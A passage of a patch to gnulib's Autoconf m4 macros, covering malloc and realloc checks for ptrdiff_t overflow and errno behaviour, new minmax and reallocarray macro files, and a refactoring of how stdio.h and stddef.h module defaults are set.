++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 0; then
++ _AC_FUNC_MALLOC_IF([], [REPLACE_MALLOC=1])
++ fi
++])
++
++# gl_FUNC_MALLOC_PTRDIFF
++# ----------------------
++# Test whether malloc (N) reliably fails when N exceeds PTRDIFF_MAX,
++# and replace malloc otherwise.
++AC_DEFUN([gl_FUNC_MALLOC_PTRDIFF],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_CHECK_MALLOC_PTRDIFF])
++ test "$gl_cv_malloc_ptrdiff" = yes || REPLACE_MALLOC=1
++])
++
++# Test whether malloc, realloc, calloc refuse to create objects
++# larger than what can be expressed in ptrdiff_t.
++# Set gl_cv_func_malloc_gnu to yes or no accordingly.
++AC_DEFUN([gl_CHECK_MALLOC_PTRDIFF],
++[
++ AC_CACHE_CHECK([whether malloc is ptrdiff_t safe],
++ [gl_cv_malloc_ptrdiff],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <stdint.h>
++ ]],
++ [[/* 64-bit ptrdiff_t is so wide that no practical platform
++ can exceed it. */
++ #define WIDE_PTRDIFF (PTRDIFF_MAX >> 31 >> 31 != 0)
++
++ /* On rare machines where size_t fits in ptrdiff_t there
++ is no problem. */
++ #define NARROW_SIZE (SIZE_MAX <= PTRDIFF_MAX)
++
++ /* glibc 2.30 and later malloc refuses to exceed ptrdiff_t
++ bounds even on 32-bit platforms. We don't know which
++ non-glibc systems are safe. */
++ #define KNOWN_SAFE (2 < __GLIBC__ + (30 <= __GLIBC_MINOR__))
++
++ #if WIDE_PTRDIFF || NARROW_SIZE || KNOWN_SAFE
++ return 0;
++ #else
++ #error "malloc might not be ptrdiff_t safe"
++ syntax error
++ #endif
++ ]])],
++ [gl_cv_malloc_ptrdiff=yes],
++ [gl_cv_malloc_ptrdiff=no])
+ ])
+ ])
+
+ # gl_FUNC_MALLOC_POSIX
+ # --------------------
+ # Test whether 'malloc' is POSIX compliant (sets errno to ENOMEM when it
+-# fails), and replace malloc if it is not.
++# fails, and doesn't mess up with ptrdiff_t overflow), and replace
++# malloc if it is not.
+ AC_DEFUN([gl_FUNC_MALLOC_POSIX],
+ [
+ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_MALLOC_PTRDIFF])
+ AC_REQUIRE([gl_CHECK_MALLOC_POSIX])
+- if test $gl_cv_func_malloc_posix = yes; then
++ if test "$gl_cv_func_malloc_posix" = yes; then
+ AC_DEFINE([HAVE_MALLOC_POSIX], [1],
+- [Define if the 'malloc' function is POSIX compliant.])
++ [Define if malloc, realloc, and calloc set errno on allocation failure.])
+ else
+ REPLACE_MALLOC=1
+ fi
+ ])
+
+-# Test whether malloc, realloc, calloc are POSIX compliant,
++# Test whether malloc, realloc, calloc set errno to ENOMEM on failure.
+ # Set gl_cv_func_malloc_posix to yes or no accordingly.
+ AC_DEFUN([gl_CHECK_MALLOC_POSIX],
+ [
+- AC_CACHE_CHECK([whether malloc, realloc, calloc are POSIX compliant],
++ AC_REQUIRE([AC_CANONICAL_HOST])
++ AC_CACHE_CHECK([whether malloc, realloc, calloc set errno on failure],
+ [gl_cv_func_malloc_posix],
+ [
+ dnl It is too dangerous to try to allocate a large amount of memory:
+ dnl some systems go to their knees when you do that. So assume that
+- dnl all Unix implementations of the function are POSIX compliant.
+- AC_COMPILE_IFELSE(
+- [AC_LANG_PROGRAM(
+- [[]],
+- [[#if defined _WIN32 && ! defined __CYGWIN__
+- choke me
+- #endif
+- ]])],
+- [gl_cv_func_malloc_posix=yes],
+- [gl_cv_func_malloc_posix=no])
++ dnl all Unix implementations of the function set errno on failure,
++ dnl except on those platforms where we have seen 'test-malloc-gnu',
++ dnl 'test-realloc-gnu', 'test-calloc-gnu' fail.
++ case "$host_os" in
++ mingw*)
++ gl_cv_func_malloc_posix=no ;;
++ irix* | solaris*)
++ dnl On IRIX 6.5, the three functions return NULL with errno unset
++ dnl when the argument is larger than PTRDIFF_MAX.
++ dnl On Solaris 11.3, the three functions return NULL with errno set
++ dnl to EAGAIN, not ENOMEM, when the argument is larger than
++ dnl PTRDIFF_MAX.
++ dnl Here is a test program:
++m4_divert_push([KILL])
++#include <errno.h>
++#include <stdio.h>
++#include <stdlib.h>
++#define ptrdiff_t long
++#ifndef PTRDIFF_MAX
++# define PTRDIFF_MAX ((ptrdiff_t) ((1UL << (8 * sizeof (ptrdiff_t) - 1)) - 1))
++#endif
++
++int main ()
++{
++ void *p;
++
++ fprintf (stderr, "PTRDIFF_MAX = %lu\n", (unsigned long) PTRDIFF_MAX);
++
++ errno = 0;
++ p = malloc ((unsigned long) PTRDIFF_MAX + 1);
++ fprintf (stderr, "p=%p errno=%d\n", p, errno);
++
++ errno = 0;
++ p = calloc (PTRDIFF_MAX / 2 + 1, 2);
++ fprintf (stderr, "p=%p errno=%d\n", p, errno);
++
++ errno = 0;
++ p = realloc (NULL, (unsigned long) PTRDIFF_MAX + 1);
++ fprintf (stderr, "p=%p errno=%d\n", p, errno);
++
++ return 0;
++}
++m4_divert_pop([KILL])
++ gl_cv_func_malloc_posix=no ;;
++ *)
++ gl_cv_func_malloc_posix=yes ;;
++ esac
+ ])
+ ])
+--- a/gnulib/m4/mbslen.m4
++++ b/gnulib/m4/mbslen.m4
+@@ -1,4 +1,4 @@
+-# mbslen.m4 serial 2
++# mbslen.m4 serial 3
+ dnl Copyright (C) 2010-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_MBSLEN],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_FUNCS_ONCE([mbslen])
+ if test $ac_cv_func_mbslen = yes; then
+ HAVE_MBSLEN=1
+--- a/gnulib/m4/memchr.m4
++++ b/gnulib/m4/memchr.m4
+@@ -1,4 +1,4 @@
+-# memchr.m4 serial 17
++# memchr.m4 serial 18
+ dnl Copyright (C) 2002-2004, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -13,7 +13,7 @@ AC_DEFUN_ONCE([gl_FUNC_MEMCHR],
+ AC_CHECK_HEADERS_ONCE([sys/mman.h])
+ AC_CHECK_FUNCS_ONCE([mprotect])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ # Detect platform-specific bugs in some versions of glibc:
+ # memchr should not dereference anything with length 0
+ # https://bugzilla.redhat.com/show_bug.cgi?id=499689
+--- a/gnulib/m4/mempcpy.m4
++++ b/gnulib/m4/mempcpy.m4
+@@ -1,4 +1,4 @@
+-# mempcpy.m4 serial 11
++# mempcpy.m4 serial 12
+ dnl Copyright (C) 2003-2004, 2006-2007, 2009-2021 Free Software Foundation,
+ dnl Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -13,7 +13,7 @@ AC_DEFUN([gl_FUNC_MEMPCPY],
+ dnl The mempcpy() declaration in lib/string.in.h uses 'restrict'.
+ AC_REQUIRE([AC_C_RESTRICT])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_FUNCS([mempcpy])
+ if test $ac_cv_func_mempcpy = no; then
+ HAVE_MEMPCPY=0
+--- a/gnulib/m4/memrchr.m4
++++ b/gnulib/m4/memrchr.m4
+@@ -1,4 +1,4 @@
+-# memrchr.m4 serial 10
++# memrchr.m4 serial 11
+ dnl Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation,
+ dnl Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -10,7 +10,7 @@ AC_DEFUN([gl_FUNC_MEMRCHR],
+ dnl Persuade glibc <string.h> to declare memrchr().
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_DECLS_ONCE([memrchr])
+ if test $ac_cv_have_decl_memrchr = no; then
+ HAVE_DECL_MEMRCHR=0
+--- /dev/null
++++ b/gnulib/m4/minmax.m4
+@@ -0,0 +1,44 @@
++# minmax.m4 serial 4
++dnl Copyright (C) 2005, 2009-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++AC_PREREQ([2.53])
++
++AC_DEFUN([gl_MINMAX],
++[
++ AC_REQUIRE([gl_PREREQ_MINMAX])
++])
++
++# Prerequisites of lib/minmax.h.
++AC_DEFUN([gl_PREREQ_MINMAX],
++[
++ gl_MINMAX_IN_HEADER([limits.h])
++ gl_MINMAX_IN_HEADER([sys/param.h])
++])
++
++dnl gl_MINMAX_IN_HEADER(HEADER)
++dnl The parameter has to be a literal header name; it cannot be macro,
++dnl nor a shell variable. (Because autoheader collects only AC_DEFINE
++dnl invocations with a literal macro name.)
++AC_DEFUN([gl_MINMAX_IN_HEADER],
++[
++ m4_pushdef([header], AS_TR_SH([$1]))
++ m4_pushdef([HEADER], AS_TR_CPP([$1]))
++ AC_CACHE_CHECK([whether <$1> defines MIN and MAX],
++ [gl_cv_minmax_in_]header,
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <$1>
++ int x = MIN (42, 17);]],
++ [[]])],
++ [gl_cv_minmax_in_]header[=yes],
++ [gl_cv_minmax_in_]header[=no])])
++ if test $gl_cv_minmax_in_[]header = yes; then
++ AC_DEFINE([HAVE_MINMAX_IN_]HEADER, 1,
++ [Define to 1 if <$1> defines the MIN and MAX macros.])
++ fi
++ m4_popdef([HEADER])
++ m4_popdef([header])
++])
+--- a/gnulib/m4/printf.m4
++++ b/gnulib/m4/printf.m4
+@@ -1,4 +1,4 @@
+-# printf.m4 serial 72
++# printf.m4 serial 73
+ dnl Copyright (C) 2003, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -537,7 +537,7 @@ int main ()
+ && strcmp (buf, "-0X6.488P-1 33") != 0
+ && strcmp (buf, "-0XC.91P-2 33") != 0))
+ result |= 2;
+- /* This catches a FreeBSD 6.1 bug: it doesn't round. */
++ /* This catches a FreeBSD 13.0 bug: it doesn't round. */
+ if (sprintf (buf, "%.2a %d", 1.51, 33, 44, 55) < 0
+ || (strcmp (buf, "0x1.83p+0 33") != 0
+ && strcmp (buf, "0x3.05p-1 33") != 0
+@@ -1690,6 +1690,7 @@ dnl
+ dnl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
+ dnl glibc 2.5 . . . . . . . . . . . . . . . . . . . .
+ dnl glibc 2.3.6 . . . . # . . . . . . . . . . . . . . .
++dnl FreeBSD 13.0 . . . . # . . . . . . . . # . . . . . .
+ dnl FreeBSD 5.4, 6.1 . . . . # . . . . . . # . # . . . . . .
+ dnl Mac OS X 10.13.5 . . . # # . # . . . . . . . . . . # . .
+ dnl Mac OS X 10.5.8 . . . # # . . . . . . # . . . . . . . .
+--- /dev/null
++++ b/gnulib/m4/realloc.m4
+@@ -0,0 +1,63 @@
++# realloc.m4 serial 24
++dnl Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++# This is adapted with modifications from upstream Autoconf here:
++# https://git.savannah.gnu.org/cgit/autoconf.git/tree/lib/autoconf/functions.m4?id=v2.70#n1455
++AC_DEFUN([_AC_FUNC_REALLOC_IF],
++[
++ AC_REQUIRE([AC_CANONICAL_HOST])dnl for cross-compiles
++ AC_CACHE_CHECK([whether realloc (0, 0) returns nonnull],
++ [ac_cv_func_realloc_0_nonnull],
++ [AC_RUN_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <stdlib.h>
++ ]],
++ [[void *p = realloc (0, 0);
++ int result = !p;
++ free (p);
++ return result;]])
++ ],
++ [ac_cv_func_realloc_0_nonnull=yes],
++ [ac_cv_func_realloc_0_nonnull=no],
++ [case "$host_os" in
++ # Guess yes on platforms where we know the result.
++ *-gnu* | freebsd* | netbsd* | openbsd* | bitrig* \
++ | gnu* | *-musl* | midnightbsd* \
++ | hpux* | solaris* | cygwin* | mingw* | msys* )
++ ac_cv_func_realloc_0_nonnull="guessing yes" ;;
++ # If we don't know, obey --enable-cross-guesses.
++ *) ac_cv_func_realloc_0_nonnull="$gl_cross_guess_normal" ;;
++ esac
++ ])
++ ])
++ AS_CASE([$ac_cv_func_realloc_0_nonnull], [*yes], [$1], [$2])
++])# AC_FUNC_REALLOC
++
++# gl_FUNC_REALLOC_GNU
++# -------------------
++# Replace realloc if it is not compatible with GNU libc.
++AC_DEFUN([gl_FUNC_REALLOC_GNU],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_REALLOC_POSIX])
++ if test $REPLACE_REALLOC = 0; then
++ _AC_FUNC_REALLOC_IF([], [REPLACE_REALLOC=1])
++ fi
++])# gl_FUNC_REALLOC_GNU
++
++# gl_FUNC_REALLOC_POSIX
++# ---------------------
++# Test whether 'realloc' is POSIX compliant (sets errno to ENOMEM when it
++# fails, and doesn't mess up with ptrdiff_t overflow),
++# and replace realloc if it is not.
++AC_DEFUN([gl_FUNC_REALLOC_POSIX],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 1; then
++ REPLACE_REALLOC=1
++ fi
++])
+--- /dev/null
++++ b/gnulib/m4/reallocarray.m4
+@@ -0,0 +1,23 @@
++# reallocarray.m4 serial 3
++dnl Copyright (C) 2017-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++AC_DEFUN([gl_FUNC_REALLOCARRAY],
++[
++ dnl Persuade glibc <stdlib.h> to declare reallocarray.
++ AC_REQUIRE([gl_USE_SYSTEM_EXTENSIONS])
++
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_CHECK_MALLOC_PTRDIFF])
++ AC_CHECK_FUNCS([reallocarray])
++ if test "$ac_cv_func_reallocarray" = no; then
++ HAVE_REALLOCARRAY=0
++ elif test "$gl_cv_malloc_ptrdiff" = no; then
++ REPLACE_REALLOCARRAY=1
++ fi
++])
++
++# Prerequisites of lib/reallocarray.c.
++AC_DEFUN([gl_PREREQ_REALLOCARRAY], [:])
+--- a/gnulib/m4/stat.m4
++++ b/gnulib/m4/stat.m4
+@@ -1,4 +1,4 @@
+-# serial 17
++# serial 18
+
+ # Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ #
+@@ -69,7 +69,7 @@ AC_DEFUN([gl_FUNC_STAT],
+
+ # Prerequisites of lib/stat.c and lib/stat-w32.c.
+ AC_DEFUN([gl_PREREQ_STAT], [
+- AC_REQUIRE([gl_HEADER_SYS_STAT_H])
++ AC_REQUIRE([gl_SYS_STAT_H])
+ AC_REQUIRE([gl_PREREQ_STAT_W32])
+ :
+ ])
+--- a/gnulib/m4/stddef_h.m4
++++ b/gnulib/m4/stddef_h.m4
+@@ -1,4 +1,4 @@
+-# stddef_h.m4 serial 9
++# stddef_h.m4 serial 11
+ dnl Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ dnl A placeholder for <stddef.h>, for platforms that have issues.
+
+-AC_DEFUN([gl_STDDEF_H],
++AC_DEFUN_ONCE([gl_STDDEF_H],
+ [
+ AC_REQUIRE([gl_STDDEF_H_DEFAULTS])
+ AC_REQUIRE([gt_TYPE_WCHAR_T])
+@@ -68,13 +68,28 @@ AC_DEFUN([gl_STDDEF_H],
+ fi
+ ])
+
++# gl_STDDEF_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STDDEF_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_STDDEF_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STDDEF_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STDDEF_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDDEF_H_MODULE_INDICATOR_DEFAULTS], [
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDDEF_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STDDEF_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_STDDEF_H_DEFAULTS],
+ [
+ dnl Assume proper GNU behavior unless another module says otherwise.
+--- a/gnulib/m4/stdint.m4
++++ b/gnulib/m4/stdint.m4
+@@ -1,4 +1,4 @@
+-# stdint.m4 serial 58
++# stdint.m4 serial 60
+ dnl Copyright (C) 2001-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -170,7 +170,7 @@ struct s {
+ PTRDIFF_MIN == TYPE_MINIMUM (ptrdiff_t)
+ && PTRDIFF_MAX == TYPE_MAXIMUM (ptrdiff_t)
+ ? 1 : -1;
+- /* Detect bug in FreeBSD 6.0 / ia64. */
++ /* Detect bug in FreeBSD 6.0/ia64 and FreeBSD 13.0/arm64. */
+ int check_SIG_ATOMIC:
+ SIG_ATOMIC_MIN == TYPE_MINIMUM (sig_atomic_t)
+ && SIG_ATOMIC_MAX == TYPE_MAXIMUM (sig_atomic_t)
+@@ -527,7 +527,7 @@ AC_DEFUN([gl_STDINT_TYPE_PROPERTIES],
+ dnl requirement that wint_t is "unchanged by default argument promotions".
+ dnl In this case gnulib's <wchar.h> and <wctype.h> override wint_t.
+ dnl Set the variable BITSIZEOF_WINT_T accordingly.
+- if test $GNULIB_OVERRIDES_WINT_T = 1; then
++ if test $GNULIBHEADERS_OVERRIDE_WINT_T = 1; then
+ BITSIZEOF_WINT_T=32
+ fi
+ ])
+--- a/gnulib/m4/stdio_h.m4
++++ b/gnulib/m4/stdio_h.m4
+@@ -1,11 +1,12 @@
+-# stdio_h.m4 serial 52
++# stdio_h.m4 serial 56
+ dnl Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_STDIO_H],
++AC_DEFUN_ONCE([gl_STDIO_H],
+ [
++ AC_REQUIRE([gl_STDIO_H_DEFAULTS])
+ AH_VERBATIM([MINGW_ANSI_STDIO],
+ [/* Use GNU style printf and scanf. */
+ #ifndef __USE_MINGW_ANSI_STDIO
+@@ -13,7 +14,6 @@ AC_DEFUN([gl_STDIO_H],
+ #endif
+ ])
+ AC_DEFINE([__USE_MINGW_ANSI_STDIO])
+- AC_REQUIRE([gl_STDIO_H_DEFAULTS])
+ gl_NEXT_HEADERS([stdio.h])
+
+ dnl Determine whether __USE_MINGW_ANSI_STDIO makes printf and
+@@ -40,17 +40,6 @@ AC_DEFUN([gl_STDIO_H],
+ attribute "__gnu_printf__" instead of "__printf__"])
+ fi
+
+- dnl No need to create extra modules for these functions. Everyone who uses
+- dnl <stdio.h> likely needs them.
+- GNULIB_FSCANF=1
+- gl_MODULE_INDICATOR([fscanf])
+- GNULIB_SCANF=1
+- gl_MODULE_INDICATOR([scanf])
+- GNULIB_FGETC=1
+- GNULIB_GETC=1
+- GNULIB_GETCHAR=1
+- GNULIB_FGETS=1
+- GNULIB_FREAD=1
+ dnl This ifdef is necessary to avoid an error "missing file lib/stdio-read.c"
+ dnl "expected source file, required through AC_LIBSOURCES, not found". It is
+ dnl also an optimization, to avoid performing a configure check whose result
+@@ -64,18 +53,6 @@ AC_DEFUN([gl_STDIO_H],
+ fi
+ ])
+
+- dnl No need to create extra modules for these functions. Everyone who uses
+- dnl <stdio.h> likely needs them.
+- GNULIB_FPRINTF=1
+- GNULIB_PRINTF=1
+- GNULIB_VFPRINTF=1
+- GNULIB_VPRINTF=1
+- GNULIB_FPUTC=1
+- GNULIB_PUTC=1
+- GNULIB_PUTCHAR=1
+- GNULIB_FPUTS=1
+- GNULIB_PUTS=1
+- GNULIB_FWRITE=1
+ dnl This ifdef is necessary to avoid an error "missing file lib/stdio-write.c"
+ dnl "expected source file, required through AC_LIBSOURCES, not found". It is
+ dnl also an optimization, to avoid performing a configure check whose result
+@@ -116,77 +93,92 @@ AC_DEFUN([gl_STDIO_H],
+ fi
+ ])
+
++# gl_STDIO_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STDIO_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_STDIO_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STDIO_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STDIO_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDIO_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCLOSE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FDOPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFLUSH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FGETC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FGETS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FOPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPURGE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPUTC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPUTS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREAD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREOPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSEEK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSEEKO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTELL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTELLO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FWRITE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETCHAR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDELIM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLINE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OBSTACK_PRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OBSTACK_PRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PCLOSE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PERROR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTCHAR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REMOVE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RENAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RENAMEAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SNPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STDIO_H_NONBLOCKING])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STDIO_H_SIGPIPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TMPFILE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VASPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFSCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSCANF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VDPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VPRINTF_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSNPRINTF])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSPRINTF_POSIX])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FCLOSEALL], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FDOPEN], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FILENO], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETW], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_PUTW], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_TEMPNAM], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDIO_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STDIO_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_STDIO_H_DEFAULTS],
+ [
+- GNULIB_DPRINTF=0; AC_SUBST([GNULIB_DPRINTF])
+- GNULIB_FCLOSE=0; AC_SUBST([GNULIB_FCLOSE])
+- GNULIB_FDOPEN=0; AC_SUBST([GNULIB_FDOPEN])
+- GNULIB_FFLUSH=0; AC_SUBST([GNULIB_FFLUSH])
+- GNULIB_FGETC=0; AC_SUBST([GNULIB_FGETC])
+- GNULIB_FGETS=0; AC_SUBST([GNULIB_FGETS])
+- GNULIB_FOPEN=0; AC_SUBST([GNULIB_FOPEN])
+- GNULIB_FPRINTF=0; AC_SUBST([GNULIB_FPRINTF])
+- GNULIB_FPRINTF_POSIX=0; AC_SUBST([GNULIB_FPRINTF_POSIX])
+- GNULIB_FPURGE=0; AC_SUBST([GNULIB_FPURGE])
+- GNULIB_FPUTC=0; AC_SUBST([GNULIB_FPUTC])
+- GNULIB_FPUTS=0; AC_SUBST([GNULIB_FPUTS])
+- GNULIB_FREAD=0; AC_SUBST([GNULIB_FREAD])
+- GNULIB_FREOPEN=0; AC_SUBST([GNULIB_FREOPEN])
+- GNULIB_FSCANF=0; AC_SUBST([GNULIB_FSCANF])
+- GNULIB_FSEEK=0; AC_SUBST([GNULIB_FSEEK])
+- GNULIB_FSEEKO=0; AC_SUBST([GNULIB_FSEEKO])
+- GNULIB_FTELL=0; AC_SUBST([GNULIB_FTELL])
+- GNULIB_FTELLO=0; AC_SUBST([GNULIB_FTELLO])
+- GNULIB_FWRITE=0; AC_SUBST([GNULIB_FWRITE])
+- GNULIB_GETC=0; AC_SUBST([GNULIB_GETC])
+- GNULIB_GETCHAR=0; AC_SUBST([GNULIB_GETCHAR])
+- GNULIB_GETDELIM=0; AC_SUBST([GNULIB_GETDELIM])
